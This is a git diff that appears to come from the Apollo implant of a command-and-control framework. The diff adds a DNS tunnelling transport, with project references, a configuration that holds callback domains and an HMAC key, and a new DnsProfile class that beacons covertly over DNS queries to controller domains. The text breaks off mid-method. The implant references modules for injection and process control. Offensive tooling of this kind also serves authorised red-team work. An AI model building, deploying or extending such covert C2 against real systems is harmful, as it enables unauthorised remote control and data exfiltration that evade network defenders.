CPU.ActiveCfg = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x64.ActiveCfg = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x64.Build.0 = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x86.ActiveCfg = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x86.Build.0 = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|Any CPU.Build.0 = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x64.ActiveCfg = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x64.Build.0 = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x86.ActiveCfg = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76} + EndGlobalSection +EndGlobal diff --git a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj index 2d21d7f9..562dc1c5 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj @@ -1,142 +1,146 @@ - - - - - Debug - AnyCPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C} - Exe - Apollo - Apollo - v4.0 - 512 - true - - - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll - False - - - - - ..\packages\Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0\lib\net4\System.Management.Automation.dll - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - {5b5bd587-7dca-4306-b1c3-83a70d755f37} - ApolloInterop - - - {21b9b3fa-acbf-4ed2-a0bb-2782e708f6f9} - EncryptedFileStore - - - {74b393f3-4000-49ac-8116-dccdb5f52344} - HttpProfile - - - {e4724425-fc2d-40ae-9506-553d5d9dd929} - Injection - - - {3af39094-7f42-4444-a278-fa656eb4678f} - NamedPipeProfile - - - {ed320ce0-c28f-4b07-a353-9b14c261e8a3} - PlaintextCryptography - - - {6008a59e-80a4-4790-8fe3-01de201d71b3} - Process - - - {c8fc8d87-30db-4fc5-880a-9cd7d156127a} - PSKCryptography - - - {b9bda393-c258-44d3-8266-d62265008bd4} - Tasks - - - {add40b1e-3c2e-4046-b574-fa0ed70fc64d} - TcpProfile - - - - - - - - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - + + + + + Debug + AnyCPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C} + Exe + Apollo + Apollo + v4.0 + 512 + true + + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll + False + + + + + ..\packages\Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0\lib\net4\System.Management.Automation.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {5b5bd587-7dca-4306-b1c3-83a70d755f37} + ApolloInterop + + + {2ed749a9-a6ff-4c49-bda5-e3435e50dd5e} + DnsProfile + + + {21b9b3fa-acbf-4ed2-a0bb-2782e708f6f9} + EncryptedFileStore + + + {74b393f3-4000-49ac-8116-dccdb5f52344} + HttpProfile + + + {e4724425-fc2d-40ae-9506-553d5d9dd929} + Injection + + + {3af39094-7f42-4444-a278-fa656eb4678f} + NamedPipeProfile + + + {ed320ce0-c28f-4b07-a353-9b14c261e8a3} + PlaintextCryptography + + + {6008a59e-80a4-4790-8fe3-01de201d71b3} + Process + + + {c8fc8d87-30db-4fc5-880a-9cd7d156127a} + PSKCryptography + + + {b9bda393-c258-44d3-8266-d62265008bd4} + Tasks + + + {add40b1e-3c2e-4046-b574-fa0ed70fc64d} + TcpProfile + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/agent_code/Apollo/Config.cs index f4b3e56e..f946af57 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Config.cs @@ -14,6 +14,7 @@ using ApolloInterop.Serializers; using NamedPipeTransport; using TcpTransport; +using DnsTransport; namespace Apollo { @@ -62,6 +63,35 @@ public static class Config } }, #endif +#if DNS + { "dns", new C2ProfileData() + { + TC2Profile = typeof(DnsProfile), + TCryptography = typeof(PSKCryptographyProvider), + TSerializer = typeof(EncryptedJsonSerializer), + Parameters = new Dictionary() + { +#if DEBUG + { "callback_interval", "5" }, + { "callback_jitter", "0" }, + { "callback_domains", "abc.domain1.com,abc.domain2.com" }, + { "msginit", "init" }, + { "msgdefault", "default" }, + { "hmac_key", "HM4C_K3y@123" }, + { "encrypted_exchange_check", "T" } +#else + { "callback_interval", "callback_interval_here" }, + { "callback_jitter", "callback_jitter_here" }, + { "callback_domains", "callback_domains_here" }, + { "msginit", "msginit_here" }, + { "msgdefault", "msgdefault_here" }, + { "hmac_key", "hmac_key_here" }, + { "encrypted_exchange_check", "encrypted_exchange_check_here" } +#endif + } + } + }, +#endif #if SMB { "smb", new C2ProfileData() { diff --git a/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs new file mode 100644 index 00000000..f6f798bb --- /dev/null +++ b/Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs @@ -0,0 +1,934 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using ApolloInterop.Classes; +using ApolloInterop.Interfaces; +using ApolloInterop.Structs.MythicStructs; +using ApolloInterop.Types.Delegates; +using ApolloInterop.Serializers; +using System.Net; +using System.IO; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using ApolloInterop.Enums.ApolloEnums; +using System.Net.NetworkInformation; +using System.Net.Sockets; +using DnsRip; + +namespace DnsTransport +{ + public class DnsProfile : C2Profile, IC2Profile + { + private int server_turn = 2; + private int agent_turn = 1; + private int message_count_turn = 3; + private int reset_turn = 4; + private string cache_code = ""; + private string cached_message_server = ""; + private string cached_message_client = ""; + private int CallbackInterval; + private int CallbackJitter; + private bool EncryptedExchangeCheck; + private string TerminateDate; + private object lockerSend = new object(); + private object lockerErrorCount = new object(); + + public object lockerDnsMsg = new object(); + private string InitializationMessagePrefix; + private string DefaultMessagePrefix; + private string HmacKey; + + public JsonSerializer aux_serial = new JsonSerializer(); + + Dictionary threads_msg = new Dictionary(); + Dictionary dns_msg = new Dictionary(); + + public volatile bool is_fallback = false; + public volatile int error_count_p1 = 0; + public volatile int error_count_p2 = 0; + private int MAX_ERROR_TOLERANCE_1 = 50; + private int MAX_ERROR_TOLERANCE_2 = 25; + private volatile int max_threads_conn = 10; + int[] next_msg_queue; + Thread next_msg_organizer; + + private bool is_init = false; + private bool finished_sending = false; + private int message_count = 0; + + List domains; + private volatile int bit_flip = 0; + DnsRip.Resolver dnsRip; + private int channel; + private int init_seq; + private volatile int next_seq; + private int end_seq; + + + private bool _uuidNegotiated = false; + + public DnsProfile(Dictionary data, ISerializer serializer, IAgent agent) : base(data, serializer, agent) + { + CallbackInterval = int.Parse(data["callback_interval"]); + CallbackJitter = int.Parse(data["callback_jitter"]); + InitializationMessagePrefix = data["msginit"]; + DefaultMessagePrefix = data["msgdefault"]; + HmacKey = data["hmac_key"]; + EncryptedExchangeCheck = data["encrypted_exchange_check"] == "T"; + // Necessary to disable certificate validation + domains = data["callback_domains"].Split(',').ToList(); + this.next_msg_queue = new int[this.max_threads_conn]; + dnsRip = new DnsRip.Resolver(GetDnsAddress()); + Agent.SetSleep(CallbackInterval, CallbackJitter); + reset_init_all(); + } + + public void reset_init_all() + { + this.error_count_p1 = 0; + this.error_count_p2 = 0; + this.finished_sending = false; + this.bit_flip = 0; + this.is_init = false; + this.cached_message_client = ""; + this.cached_message_server = ""; + channel = initialize_ch_seq(0,200); + init_seq = initialize_ch_seq(200,400); + this.dns_msg.Clear(); + initialize_Channel_conn(); + + } + + + public void set_error() + { + lock (lockerErrorCount) + { + if (this.is_fallback == false) + { + this.error_count_p1 += 1; + } + else + { + this.error_count_p2 += 1; + } + } + + } + + public void reset_error_count() + { + lock (lockerErrorCount) + { + this.error_count_p1 = 0; + this.error_count_p2 = 0; + this.is_fallback = false; + this.max_threads_conn = 10; + } + } + + public void set_fallback() + { + this.max_threads_conn = 1; + this.is_fallback = true; + + } + + public void check_fallback() + { + if (this.is_fallback == true) + { + Thread.Sleep(this.CallbackInterval * 1000); + } + } + + + //message pattern: + //mesg : _______.___________.________.________.__________ + // PREFIX SID + SEQ BYTES HMAC DOMAIN + //hmac = (md5) 32 + // seq + sid = 8 + //prefix = ~ + //domain = ~ + + public string GetDnsAddress() + { + while (true) + { + NetworkInterface[] networkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + + foreach (NetworkInterface networkInterface in networkInterfaces) + { + if (networkInterface.OperationalStatus == OperationalStatus.Up) + { + IPInterfaceProperties ipProperties = networkInterface.GetIPProperties(); + IPAddressCollection dnsAddresses = ipProperties.DnsAddresses; + + foreach (IPAddress dnsAdress in dnsAddresses) + { + if (dnsAdress.AddressFamily == AddressFamily.InterNetwork) + { + return dnsAdress.ToString(); + } + + } + } + } + Agent.Sleep(); + } + } + + public int initialize_ch_seq(int i, int y) + { + Random rd_ch = new Random(); + return rd_ch.Next(i, y); + } + + + + public void initialize_Channel_conn() + { + while (is_init == false) + { + send_init_request(); + Agent.Sleep(); + } + } + + public string get_random_domain_query() + { + var random = new Random(); + int index 